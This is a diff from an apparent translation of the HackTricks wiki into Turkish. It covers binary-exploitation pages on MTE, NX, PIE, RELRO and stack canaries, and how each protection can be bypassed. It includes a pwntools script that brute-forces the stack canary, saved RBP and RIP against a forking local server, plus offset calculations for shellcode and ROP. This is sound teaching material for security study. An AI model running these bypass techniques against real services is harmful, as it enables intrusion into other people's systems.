Etiket **0xF**, **tüm işaretçileri eşleştiren** etikettir. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketin kullanılmasına** izin verir (uyumsuzluk yok). Bu, bu etiketin saldırıya uğrayan bellek içinde kullanılması durumunda MET'in bir saldırıyı tespit etmesini engelleyebilir.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Bu nedenle, 0xE ve 0xF rezerve edildiğinden, etiket oluşturmak için yalnızca **14 değer** kullanılabilir, bu da etiketlerin **yeniden kullanılma** olasılığını 1/17 -> yaklaşık **%7** yapar.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
Eğer çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** **tespit edilecektir**. Eğer başka bir bellek konumuna erişirse, eğer **bellek farklı bir etikete** (veya geçersiz etikete) sahipse, uyumsuzluk **tespit edilecektir**. Eğer saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, bu tespit edilmeyecektir. Olasılıklar yaklaşık %7'dir.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Eğer uygulama 35B talep ettiyse, 32'den 48'e kadar olan granül verilmiştir. Bu nedenle, **36'dan 47'ye kadar olan baytlar aynı etiketi kullanmaktadır** ancak bunlar talep edilmemiştir. Eğer saldırgan **bu ekstra baytlara erişirse, bu tespit edilmez**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketi ile yeniden etiketlenir, bu nedenle bir **kullanım-sonrası-serbest bırakma** durumunda, bellek tekrar erişildiğinde, **uyumsuzluk tespit edilir**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
Ancak, bir kullanım-sonrası-serbest bırakma durumunda, eğer aynı **parça, daha önceki ile AYNI etiketle** yeniden tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu tespit edilmeyecektir (yaklaşık %7 şans).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli belleği kullanır, ancak gelecekte bu `vmalloc`, `stack` ve `globals` içinde de kullanılacaktır (videonun çekildiği anda bunlar hala kötüye kullanılabilir).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Bir **uyumsuzluk tespit edildiğinde**, çekirdek daha fazla istismar ve istismar denemelerini önlemek için **panik** yapacaktır (MTE'nin yanlış pozitifleri yoktur).
## References
## Referanslar
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

14
src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinir, **buffer overflow** saldırılarının etkilerini **azaltmak** için tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **çalıştırılabilir kod** için tasarlanmış bellek bölgeleri ile **veri** için tasarlanmış bölgeleri, örneğin **stack** ve **heap** arasında ayrım yapar. Temel fikir, bir saldırganın buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu çalıştırmasını engellemektir; örneğin, kötü niyetli kodu stack'e koyarak ve yürütme akışını ona yönlendirerek.
## Bypasses
## Bypass'ler
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

24
src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bitmesidir** çünkü bellek sayfaları rastgeleleştirme birimleri olarak 0x1000 bayt boyutundadır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresinin belirlenip belirlenmediğini gösterir.\
Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz.
## Bypasses
## Atlatmalar
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
PIE'yi atlatmak için, yüklenmiş ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır.
- Sızıntıyı **almak** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- Yığındaki **EBP ve EIP değerlerini** doğru olanları sızdırana kadar **kaba kuvvet** ile denemek:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

82
src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
View File

@ -1,56 +1,55 @@
# BF Addresses in the Stack
# BF Stack'teki Adresler
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Eğer bir canary ve PIE (Pozisyona Bağımsız İkili) ile korunan bir ikili ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> **`checksec`**'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\
> Ancak, bir fonksiyon çağrısının başında bir değerin yığında saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız bunu manuel olarak fark edebilirsiniz.
## Brute-Force Addresses
## Brute-Force Adresleri
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
**PIE'yi aşmak** için bazı **adresleri sızdırmanız** gerekiyor. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yol, **savunmasız fonksiyondaki yığında saklanan RBP ve RIP'yi brute-force yapmak** olacaktır.\
Örneğin, eğer bir ikili hem **canary** hem de **PIE** kullanarak korunuyorsa, canary'yi brute-force yapmaya başlayabilir, ardından **sonraki** 8 Bayt (x64) saklanan **RBP** ve **sonraki** 8 Bayt saklanan **RIP** olacaktır.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> Yığında bulunan dönüş adresinin ana ikili koda ait olduğu varsayılmaktadır; bu, eğer zafiyet ikili kodda yer alıyorsa genellikle böyle olacaktır.
İkili dosyadan RBP ve RIP'yi brute-force yapmak için, program bir şey çıktığında veya sadece çökmediğinde geçerli tahmin edilen bir baytın doğru olduğunu anlayabilirsiniz. Canary'yi brute-force yapmak için sağlanan **aynı fonksiyonu** RBP ve RIP'yi brute-force yapmak için kullanabilirsiniz:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
PIE'yi yenmek için son şey, **sızdırılan** adreslerden **yararlı adresleri hesaplamak**: **RBP** ve **RIP**'dir.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
**RBP**'den, **yığın içinde shell'inizi nereye yazdığınızı** hesaplayabilirsiniz. Bu, yığın içinde _"/bin/sh\x00"_ dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, **RBP'yi sızdırdıktan sonra bir kesme noktası koyabilir** ve **shellcode'unuzun nerede bulunduğunu** kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
**RIP**'ten **PIE ikili dosyasının temel adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri** oluşturmak için gereklidir.\
Temel adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
Bu örnekte, tüm kodu bulmak için yalnızca **1.5 Bayt gereklidir**, bu durumda temel adres **sızdırılan RIP ama "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, temel adres `0x562002970000`'dır.
```python
elf.address = RIP - (RIP & 0xfff)
```
## İyileştirmeler
## Improvements
[**bu gönderiden bazı gözlemlere**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) göre, RBP ve RIP değerleri sızdırılırken, sunucunun bazı doğru olmayan değerlerle çökmesi mümkün olmayabilir ve BF scripti doğru olanları aldığını düşünebilir. Bunun nedeni, **bazı adreslerin tam olarak doğru olmasalar bile bunu kırmaması**dır.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
O blog gönderisine göre, sunucuya yapılan istekler arasında kısa bir gecikme eklenmesi önerilmektedir.
{{#include ../../../banners/hacktricks-training.md}}

20
src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO**, **Relocation Read-Only** anlamına gelir ve **GOT (Global Offset Table)** üzerine yazma ile ilişkili riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. İki tür **RELRO** koruması vardır: (1) **Partial RELRO** ve (2) **Full RELRO**. Her ikisi de **GOT** ve **BSS**'yi ELF dosyalarından yeniden sıralar, ancak farklı sonuçlar ve etkileri vardır. Özellikle, **GOT** bölümünü **BSS**'den _önce_ yerleştirir. Yani, **GOT** daha düşük adreslerde bulunur, bu nedenle **BSS**'deki değişkenleri taşırarak **GOT** girişlerini yazmak imkansız hale gelir (belleğe yazmanın daha düşük adreslerden daha yüksek adreslere doğru gerçekleştiğini unutmayın).
Let's break down the concept into its two distinct types for clarity.
Kavramı netlik için iki ayrı türüne ayıralım.
### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Partial RELRO**, güvenliği artırmak için daha basit bir yaklaşım benimser ve ikilinin performansını önemli ölçüde etkilemez. Partial RELRO, **.got'u yalnızca okunur hale getirir (GOT bölümünün PLT dışı kısmı)**. Kalan bölümün (örneğin, .got.plt) hala yazılabilir olduğunu ve dolayısıyla saldırılara maruz kalabileceğini unutmayın. Bu, **GOT**'un **rastgele yazma** zafiyetleri tarafından kötüye kullanılmasını engellemez.
Note: By default, GCC compiles binaries with Partial RELRO.
Not: Varsayılan olarak, GCC ikilileri Partial RELRO ile derler.
### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Full RELRO**, **tüm GOT'u (hem .got hem de .got.plt) ve .fini_array** bölümünü tamamen **salt okunur** hale getirerek korumayı artırır. İkili dosya başladığında tüm fonksiyon adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, bu da çalışma zamanında herhangi bir değişikliğe karşı etkili bir şekilde koruma sağlar.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
Ancak, Full RELRO ile ilgili bir takas, performans ve başlangıç süresidir. Çünkü GOT'u salt okunur olarak işaretlemeden önce tüm dinamik sembolleri başlangıçta çözmesi gerektiğinden, **Full RELRO etkin olan ikililer daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç yükü, Full RELRO'nun tüm ikililerde varsayılan olarak etkin olmamasının nedenidir.
Full RELRO'nun bir ikili dosyada **etkin** olup olmadığını görmek mümkündür:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Eğer Full RELRO etkinse, bunu aşmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Not edin ki **LIBC'nin GOT'u genellikle Partial RELRO'dur**, bu nedenle keyfi bir yazma ile değiştirilebilir. Daha fazla bilgi için [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

54
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard ve StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard**, **EIP (Extended Instruction Pointer)**'dan önce, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü temsil eder) olarak bilinen özel bir değeri **canary** olarak ekleyerek buffer overflow'lara karşı koruma sağlar. Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Base Pointer)**'yi korumaz.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield**, tüm dönüş adreslerini (**EIPs**) saklayan bir **Global Return Stack** tutarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, herhangi bir taşmanın zarar vermemesini sağlar, çünkü saklanan ve gerçek dönüş adresleri arasında bir karşılaştırma yapılmasına olanak tanır. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret edip etmediğini tespit etmek için dönüş adresini bir sınır değeri ile kontrol edebilir. Ancak, bu koruma Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle aşılabilir, bu da StackShield'in yerel değişkenleri de korumadığı anlamına gelir.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri daha yüksek bellek adreslerinde konumlandıracak şekilde yeniden düzenler, böylece diğer değişkenleri yazmalarını engeller. Ayrıca, yerel değişkenlerin üzerinde yığılan argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Ancak, 8'den az eleman içeren dizileri veya bir kullanıcının yapısı içindeki tamponları korumaz.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayıdır veya varsayılan değeri `0xff0a0000`'dır. **TLS (Thread Local Storage)** içinde saklanır, bu da iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü global veya statik değişkenlere sahip olmasına olanak tanır. Bu değişkenler başlangıçta ana süreçten kopyalanır ve çocuk süreçler, ana veya kardeşleri etkilemeden verilerini değiştirebilir. Ancak, eğer bir **`fork()` yeni bir canary oluşturmadan kullanılırsa, tüm süreçler (ana ve çocuklar) aynı canary'i paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te, **x86_64**'de ise `fs:0x28`'de saklanır.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Bu yerel koruma, saldırılara karşı savunmasız tamponlara sahip fonksiyonları tanımlar ve bu fonksiyonların başına canary yerleştirmek için kod enjekte eder ve sonunda bütünlüğünü doğrulamak için kontrol eder.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir brute-force saldırısını etkinleştirir. Ancak, `fork()`'tan sonra `execve()` kullanmak bellek alanını yazdığı için saldırıyı geçersiz kılar. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar kopyalamadan çalışmasına izin verir; bu noktada bir kopya oluşturulur ve süreç oluşturma ve bellek yönetimi için farklı bir yaklaşım sunar.
### Lengths
### Uzunluklar
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
`x64` ikili dosyalarında, canary çerezi bir **`0x8`** byte qword'dur. **İlk yedi byte rastgeledir** ve son byte bir **null byte**'dır.
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
`x86` ikili dosyalarında, canary çerezi bir **`0x4`** byte dword'dur. **İlk üç byte rastgeledir** ve son byte bir **null byte**'dır.
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> Her iki canary'nin en az anlamlı byte'ı bir null byte'dır çünkü bu, daha düşük adreslerden gelen yığında ilk olacak ve bu nedenle **string okuyan fonksiyonlar onu okumadan önce duracaktır**.
## Bypasses
## Bypass'ler
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Canary'yi sızdırmak** ve ardından kendi değeriyle (örneğin, buffer overflow) üzerine yazmak.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- Eğer **canary çocuk süreçlerde fork edilirse**, bir byte bir seferde **brute-force** yapmak mümkün olabilir:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- Eğer ikili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, onu sızdırmak mümkün olabilir:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Yığın üzerinde saklanan işaretçileri üzerine yazmak**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
Yığın, bir yığın taşmasına karşı savunmasızsa, **string'lere veya üzerine yazılabilecek fonksiyonlara ait adresleri içerebilir**; bu da açığı istismar etmek için canary'e ulaşmadan yapılabilir. Kontrol et:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Hem ana hem de iş parçacığı canary'sini değiştirmek**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
Canary ile korunan bir **iş parçacıklı fonksiyonda** bir buffer **overflow**, **iş parçacığının ana canary'sini değiştirmek için** kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır.
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Ayrıca, canary ile korunan bir **iş parçacıklı fonksiyonda** bir buffer **overflow**, **TLS'de saklanan ana canary'yi değiştirmek için** kullanılabilir. Bunun nedeni, bir iş parçacığının yığında bir **bof** aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmanın mümkün olabileceğidir.\
Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır.\
Bu saldırı, yazıda gerçekleştirilmiştir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Ayrıca, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin; bu sunumda genellikle **TLS**'nin **`mmap`** ile saklandığı ve bir **iş parçacığı** yığını oluşturulduğunda bunun da `mmap` ile oluşturulduğu belirtilmektedir; bu da önceki yazıda gösterildiği gibi taşmayı mümkün kılabilir.
- **Modify the GOT entry of `__stack_chk_fail`**
- **`__stack_chk_fail` GOT girişini değiştirmek**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Eğer ikili dosya Partial RELRO'ya sahipse, o zaman **`__stack_chk_fail`**'in **GOT girişini** değiştirmek için keyfi bir yazma kullanarak sahte bir fonksiyon haline getirebilirsiniz; bu, canary değiştiğinde programı engellemez.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
